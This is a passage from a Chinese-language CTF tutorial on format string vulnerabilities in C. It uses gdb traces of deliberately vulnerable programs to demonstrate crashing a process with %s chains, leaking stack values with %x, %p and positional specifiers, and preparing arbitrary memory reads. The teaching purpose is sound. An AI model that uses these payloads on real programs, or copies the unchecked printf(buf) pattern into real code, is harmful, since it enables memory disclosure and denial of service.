mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-10-19 09:22:51 +07:00
853 lines
35 KiB
Markdown
853 lines
35 KiB
Markdown
# 格式化字符串漏洞
|
||
|
||
- [格式化输出函数和格式字符串](#格式化输出函数和格式字符串)
|
||
- [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理)
|
||
- [格式化字符串漏洞](#格式化字符串漏洞)
|
||
- [x86-64 中的格式化字符串漏洞](#x8664-中的格式化字符串漏洞)
|
||
- [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞)
|
||
- [扩展阅读](#扩展阅读)
|
||
|
||
|
||
## 格式化输出函数和格式字符串
|
||
|
||
在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
|
||
|
||
#### 函数
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
|
||
int printf(const char *format, ...);
|
||
int fprintf(FILE *stream, const char *format, ...);
|
||
int dprintf(int fd, const char *format, ...);
|
||
int sprintf(char *str, const char *format, ...);
|
||
int snprintf(char *str, size_t size, const char *format, ...);
|
||
```
|
||
|
||
#### 转换指示符
|
||
|
||
字符 | 类型 | 使用
|
||
--- | --- | ---
|
||
d | 4-byte | Integer
|
||
u | 4-byte | Unsigned Integer
|
||
x | 4-byte | Hex
|
||
s | 4-byte ptr | String
|
||
c | 1-byte | Character
|
||
|
||
#### 长度
|
||
|
||
字符 | 类型 | 使用
|
||
--- | --- | ---
|
||
hh | 1-byte | char
|
||
h | 2-byte | short int
|
||
l | 4-byte | long int
|
||
ll | 8-byte | long long int
|
||
|
||
#### 示例
|
||
|
||
```
|
||
#include<stdio.h>
|
||
#include<stdlib.h>
|
||
void main() {
|
||
char *format = "%s";
|
||
char *arg1 = "Hello World!\n";
|
||
printf(format, arg1);
|
||
}
|
||
```
|
||
```c
|
||
printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1); // "127.000.000.001"
|
||
printf("%.2f", 1.2345); // 1.23
|
||
printf("%#010x", 3735928559); // 0xdeadbeef
|
||
|
||
printf("%s%n", "01234", &n); // n = 5
|
||
```
|
||
|
||
|
||
## 格式化字符串漏洞基本原理
|
||
|
||
在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
|
||
```c
|
||
#include<stdio.h>
|
||
void main() {
|
||
printf("%s %d %s", "Hello World!", 233, "\n");
|
||
}
|
||
```
|
||
```text
|
||
gdb-peda$ disassemble main
|
||
Dump of assembler code for function main:
|
||
0x0000053d <+0>: lea ecx,[esp+0x4]
|
||
0x00000541 <+4>: and esp,0xfffffff0
|
||
0x00000544 <+7>: push DWORD PTR [ecx-0x4]
|
||
0x00000547 <+10>: push ebp
|
||
0x00000548 <+11>: mov ebp,esp
|
||
0x0000054a <+13>: push ebx
|
||
0x0000054b <+14>: push ecx
|
||
0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax>
|
||
0x00000551 <+20>: add eax,0x1aaf
|
||
0x00000556 <+25>: lea edx,[eax-0x19f0]
|
||
0x0000055c <+31>: push edx
|
||
0x0000055d <+32>: push 0xe9
|
||
0x00000562 <+37>: lea edx,[eax-0x19ee]
|
||
0x00000568 <+43>: push edx
|
||
0x00000569 <+44>: lea edx,[eax-0x19e1]
|
||
0x0000056f <+50>: push edx
|
||
0x00000570 <+51>: mov ebx,eax
|
||
0x00000572 <+53>: call 0x3d0 <printf@plt>
|
||
0x00000577 <+58>: add esp,0x10
|
||
0x0000057a <+61>: nop
|
||
0x0000057b <+62>: lea esp,[ebp-0x8]
|
||
0x0000057e <+65>: pop ecx
|
||
0x0000057f <+66>: pop ebx
|
||
0x00000580 <+67>: pop ebp
|
||
0x00000581 <+68>: lea esp,[ecx-0x4]
|
||
0x00000584 <+71>: ret
|
||
End of assembler dump.
|
||
```
|
||
```text
|
||
gdb-peda$ s
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0x56557000 --> 0x1efc
|
||
EBX: 0x56557000 --> 0x1efc
|
||
ECX: 0xffffd250 --> 0x1
|
||
EDX: 0x5655561f ("%s %d %s")
|
||
ESI: 0xf7f95000 --> 0x1bbd90
|
||
EDI: 0x0
|
||
EBP: 0xffffd238 --> 0x0
|
||
ESP: 0xffffd220 --> 0x5655561f ("%s %d %s")
|
||
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
|
||
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x56555569 <main+44>: lea edx,[eax-0x19e1]
|
||
0x5655556f <main+50>: push edx
|
||
0x56555570 <main+51>: mov ebx,eax
|
||
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
|
||
0x56555577 <main+58>: add esp,0x10
|
||
0x5655557a <main+61>: nop
|
||
0x5655557b <main+62>: lea esp,[ebp-0x8]
|
||
0x5655557e <main+65>: pop ecx
|
||
Guessed arguments:
|
||
arg[0]: 0x5655561f ("%s %d %s")
|
||
arg[1]: 0x56555612 ("Hello World!")
|
||
arg[2]: 0xe9
|
||
arg[3]: 0x56555610 --> 0x6548000a ('\n')
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd220 --> 0x5655561f ("%s %d %s")
|
||
0004| 0xffffd224 --> 0x56555612 ("Hello World!")
|
||
0008| 0xffffd228 --> 0xe9
|
||
0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
|
||
0016| 0xffffd230 --> 0xffffd250 --> 0x1
|
||
0020| 0xffffd234 --> 0x0
|
||
0024| 0xffffd238 --> 0x0
|
||
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x56555572 in main ()
|
||
```
|
||
```text
|
||
gdb-peda$ r
|
||
Continuing
|
||
Hello World! 233
|
||
[Inferior 1 (process 27416) exited with code 022]
|
||
```
|
||
根据 cdecl 的调用约定,在进入 `printf()` 函数之前,将参数从右到左依次压栈。进入 `printf()` 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 `%`,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:`% d` 和 `%d` 是一样的)
|
||
|
||
接下来我们修改一下上面的程序,给格式字符串加上 `%x %x %x %3$s`,使它出现格式化字符串漏洞:
|
||
```c
|
||
#include<stdio.h>
|
||
void main() {
|
||
printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
|
||
}
|
||
```
|
||
反汇编后的代码同上,没有任何区别。我们主要看一下参数传递:
|
||
```text
|
||
gdb-peda$
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0x56557000 --> 0x1efc
|
||
EBX: 0x56557000 --> 0x1efc
|
||
ECX: 0xffffd250 --> 0x1
|
||
EDX: 0x5655561f ("%s %d %s %x %x %x %3$s")
|
||
ESI: 0xf7f95000 --> 0x1bbd90
|
||
EDI: 0x0
|
||
EBP: 0xffffd238 --> 0x0
|
||
ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
|
||
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
|
||
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x56555569 <main+44>: lea edx,[eax-0x19e1]
|
||
0x5655556f <main+50>: push edx
|
||
0x56555570 <main+51>: mov ebx,eax
|
||
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
|
||
0x56555577 <main+58>: add esp,0x10
|
||
0x5655557a <main+61>: nop
|
||
0x5655557b <main+62>: lea esp,[ebp-0x8]
|
||
0x5655557e <main+65>: pop ecx
|
||
Guessed arguments:
|
||
arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s")
|
||
arg[1]: 0x56555612 ("Hello World!")
|
||
arg[2]: 0xe9
|
||
arg[3]: 0x56555610 --> 0x6548000a ('\n')
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
|
||
0004| 0xffffd224 --> 0x56555612 ("Hello World!")
|
||
0008| 0xffffd228 --> 0xe9
|
||
0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
|
||
0016| 0xffffd230 --> 0xffffd250 --> 0x1
|
||
0020| 0xffffd234 --> 0x0
|
||
0024| 0xffffd238 --> 0x0
|
||
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x56555572 in main ()
|
||
```
|
||
```text
|
||
gdb-peda$ c
|
||
Continuing.
|
||
Hello World! 233
|
||
ffffd250 0 0
|
||
[Inferior 1 (process 27480) exited with code 041]
|
||
```
|
||
这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 `%x` 打印出了 `0xffffd230~0xffffd238` 栈内的数据,这些都不是我们输入的。而最后一个参数 `%3$s` 是对 `0xffffd22c` 中 `\n` 的重用。
|
||
|
||
上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞:
|
||
```c
|
||
#include<stdio.h>
|
||
void main() {
|
||
char buf[50];
|
||
if (fgets(buf, sizeof buf, stdin) == NULL)
|
||
return;
|
||
printf(buf);
|
||
}
|
||
```
|
||
```text
|
||
gdb-peda$
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd1fa ("Hello %x %x %x !\n")
|
||
EBX: 0x56557000 --> 0x1ef8
|
||
ECX: 0xffffd1fa ("Hello %x %x %x !\n")
|
||
EDX: 0xf7f9685c --> 0x0
|
||
ESI: 0xf7f95000 --> 0x1bbd90
|
||
EDI: 0x0
|
||
EBP: 0xffffd238 --> 0x0
|
||
ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
|
||
EIP: 0x5655562a (<main+77>: call 0x56555450 <printf@plt>)
|
||
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x56555623 <main+70>: sub esp,0xc
|
||
0x56555626 <main+73>: lea eax,[ebp-0x3e]
|
||
0x56555629 <main+76>: push eax
|
||
=> 0x5655562a <main+77>: call 0x56555450 <printf@plt>
|
||
0x5655562f <main+82>: add esp,0x10
|
||
0x56555632 <main+85>: jmp 0x56555635 <main+88>
|
||
0x56555634 <main+87>: nop
|
||
0x56555635 <main+88>: mov eax,DWORD PTR [ebp-0xc]
|
||
Guessed arguments:
|
||
arg[0]: 0xffffd1fa ("Hello %x %x %x !\n")
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
|
||
0004| 0xffffd1e4 --> 0x32 ('2')
|
||
0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288
|
||
0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add ebx,0x1a0c)
|
||
0016| 0xffffd1f0 --> 0xffffffff
|
||
0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out")
|
||
0024| 0xffffd1f8 --> 0x65485ea0
|
||
0028| 0xffffd1fc ("llo %x %x %x !\n")
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x5655562a in main ()
|
||
```
|
||
```text
|
||
gdb-peda$ c
|
||
Continuing.
|
||
Hello 32 f7f95580 565555f4 !
|
||
[Inferior 1 (process 28253) exited normally]
|
||
```
|
||
如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 `buf` 中输入一些转换指示符,则 `printf()` 会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 `Hello %x %x %x !\n`(其中 `\n` 是 `fgets()` 函数给我们自动加上的),这时,程序就会输出栈内的数据。
|
||
|
||
我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题:
|
||
- 为什么可以通过编译?
|
||
- 因为 `printf()` 函数的参数被定义为可变的。
|
||
- 为了发现不匹配的情况,编译器需要理解 `printf()` 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。
|
||
- 有时格式字符串并不是固定的,它可能在程序执行中动态生成。
|
||
- `printf()` 函数自己可以发现不匹配吗?
|
||
- `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。
|
||
|
||
|
||
## 格式化字符串漏洞
|
||
|
||
通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
|
||
|
||
#### 使程序崩溃
|
||
|
||
格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
|
||
|
||
利用类似下面的格式字符串即可触发漏洞:
|
||
```c
|
||
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||
```
|
||
- 对于每一个 `%s`,`printf()` 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。
|
||
- 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。
|
||
- 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
|
||
|
||
#### 查看栈内容
|
||
|
||
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。
|
||
|
||
```c
|
||
#include<stdio.h>
|
||
void main() {
|
||
char format[128];
|
||
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
|
||
char arg4[10] = "ABCD";
|
||
scanf("%s", format);
|
||
printf(format, arg1, arg2, arg3, arg4);
|
||
printf("\n");
|
||
}
|
||
```
|
||
```
|
||
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||
```
|
||
|
||
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
|
||
```text
|
||
gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||
EBX: 0x56557000 --> 0x1efc
|
||
ECX: 0x1
|
||
EDX: 0xf7f9883c --> 0x0
|
||
ESI: 0xf7f96e68 --> 0x1bad90
|
||
EDI: 0x0
|
||
EBP: 0xffffd618 --> 0x0
|
||
ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||
0x56555641 <main+132>: push eax
|
||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||
0x56555647 <main+138>: add esp,0x20
|
||
0x5655564a <main+141>: sub esp,0xc
|
||
0x5655564d <main+144>: push 0xa
|
||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||
Guessed arguments:
|
||
arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||
arg[1]: 0x1
|
||
arg[2]: 0x88888888
|
||
arg[3]: 0xffffffff
|
||
arg[4]: 0xffffd57a ("ABCD")
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||
0004| 0xffffd554 --> 0x1
|
||
0008| 0xffffd558 --> 0x88888888
|
||
0012| 0xffffd55c --> 0xffffffff
|
||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||
0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x56555642 in main ()
|
||
gdb-peda$ x/10x $esp
|
||
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
|
||
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
|
||
0xffffd570: 0xf7ffda54 0x00000001
|
||
gdb-peda$ c
|
||
Continuing.
|
||
00000001.88888888.ffffffff.ffffd57a.ffffd584
|
||
```
|
||
格式化字符串 `0xffffd584` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3`、`arg4` 之前。格式字符串 `%08x.%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
|
||
|
||
当然也可以使用 `%p.%p.%p.%p.%p` 得到相似的结果。
|
||
```
|
||
gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd584 ("%p.%p.%p.%p.%p")
|
||
EBX: 0x56557000 --> 0x1efc
|
||
ECX: 0x1
|
||
EDX: 0xf7f9883c --> 0x0
|
||
ESI: 0xf7f96e68 --> 0x1bad90
|
||
EDI: 0x0
|
||
EBP: 0xffffd618 --> 0x0
|
||
ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
|
||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||
0x56555641 <main+132>: push eax
|
||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||
0x56555647 <main+138>: add esp,0x20
|
||
0x5655564a <main+141>: sub esp,0xc
|
||
0x5655564d <main+144>: push 0xa
|
||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||
Guessed arguments:
|
||
arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p")
|
||
arg[1]: 0x1
|
||
arg[2]: 0x88888888
|
||
arg[3]: 0xffffffff
|
||
arg[4]: 0xffffd57a ("ABCD")
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
|
||
0004| 0xffffd554 --> 0x1
|
||
0008| 0xffffd558 --> 0x88888888
|
||
0012| 0xffffd55c --> 0xffffffff
|
||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||
0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p")
|
||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x56555642 in main ()
|
||
gdb-peda$ c
|
||
Continuing.
|
||
0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584
|
||
```
|
||
|
||
上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:
|
||
```
|
||
%<arg#>$<format>
|
||
|
||
%n$x
|
||
```
|
||
这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。
|
||
```
|
||
gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||
EBX: 0x56557000 --> 0x1efc
|
||
ECX: 0x1
|
||
EDX: 0xf7f9883c --> 0x0
|
||
ESI: 0xf7f96e68 --> 0x1bad90
|
||
EDI: 0x0
|
||
EBP: 0xffffd618 --> 0x0
|
||
ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||
0x56555641 <main+132>: push eax
|
||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||
0x56555647 <main+138>: add esp,0x20
|
||
0x5655564a <main+141>: sub esp,0xc
|
||
0x5655564d <main+144>: push 0xa
|
||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||
Guessed arguments:
|
||
arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||
arg[1]: 0x1
|
||
arg[2]: 0x88888888
|
||
arg[3]: 0xffffffff
|
||
arg[4]: 0xffffd57a ("ABCD")
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||
0004| 0xffffd554 --> 0x1
|
||
0008| 0xffffd558 --> 0x88888888
|
||
0012| 0xffffd55c --> 0xffffffff
|
||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||
0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x56555642 in main ()
|
||
gdb-peda$ x/10w $esp
|
||
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
|
||
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
|
||
0xffffd570: 0xf7ffda54 0x00000001
|
||
gdb-peda$ c
|
||
Continuing.
|
||
ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220
|
||
```
|
||
这里,格式字符串的地址为 `0xffffd584`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`、`arg4` 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
|
||
|
||
#### 查看任意地址的内存
|
||
攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 `%s` 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 `%s` 就会输出该位置的内存内容。
|
||
|
||
还是上面的程序,我们输入 `%4$s`,输出的 `arg4` 就变成了 `ABCD` 而不是地址 `0xffffd57a`:
|
||
```
|
||
gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd584 ("%4$s")
|
||
EBX: 0x56557000 --> 0x1efc
|
||
ECX: 0x1
|
||
EDX: 0xf7f9883c --> 0x0
|
||
ESI: 0xf7f96e68 --> 0x1bad90
|
||
EDI: 0x0
|
||
EBP: 0xffffd618 --> 0x0
|
||
ESP: 0xffffd550 --> 0xffffd584 ("%4$s")
|
||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||
0x56555641 <main+132>: push eax
|
||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||
0x56555647 <main+138>: add esp,0x20
|
||
0x5655564a <main+141>: sub esp,0xc
|
||
0x5655564d <main+144>: push 0xa
|
||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||
Guessed arguments:
|
||
arg[0]: 0xffffd584 ("%4$s")
|
||
arg[1]: 0x1
|
||
arg[2]: 0x88888888
|
||
arg[3]: 0xffffffff
|
||
arg[4]: 0xffffd57a ("ABCD")
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd550 --> 0xffffd584 ("%4$s")
|
||
0004| 0xffffd554 --> 0x1
|
||
0008| 0xffffd558 --> 0x88888888
|
||
0012| 0xffffd55c --> 0xffffffff
|
||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||
0020| 0xffffd564 --> 0xffffd584 ("%4$s")
|
||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x56555642 in main ()
|
||
gdb-peda$ c
|
||
Continuing.
|
||
ABCD
|
||
```
|
||
|
||
上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。
|
||
```
|
||
gdb-peda$ python print("AAAA"+".%p"*20)
|
||
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
|
||
...
|
||
gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||
EBX: 0x56557000 --> 0x1efc
|
||
ECX: 0x1
|
||
EDX: 0xf7f9883c --> 0x0
|
||
ESI: 0xf7f96e68 --> 0x1bad90
|
||
EDI: 0x0
|
||
EBP: 0xffffd618 --> 0x0
|
||
ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||
0x56555641 <main+132>: push eax
|
||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||
0x56555647 <main+138>: add esp,0x20
|
||
0x5655564a <main+141>: sub esp,0xc
|
||
0x5655564d <main+144>: push 0xa
|
||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||
Guessed arguments:
|
||
arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||
arg[1]: 0x1
|
||
arg[2]: 0x88888888
|
||
arg[3]: 0xffffffff
|
||
arg[4]: 0xffffd57a ("ABCD")
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||
0004| 0xffffd554 --> 0x1
|
||
0008| 0xffffd558 --> 0x88888888
|
||
0012| 0xffffd55c --> 0xffffffff
|
||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||
0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0x56555642 in main ()
|
||
```
|
||
格式字符串的地址在 `0xffffd584`,从下面的输出中可以看到它们在栈中是怎样排布的:
|
||
```
|
||
gdb-peda$ x/20w $esp
|
||
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
|
||
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
|
||
0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
|
||
0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025
|
||
0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70
|
||
gdb-peda$ x/20wb 0xffffd584
|
||
0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e
|
||
0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70
|
||
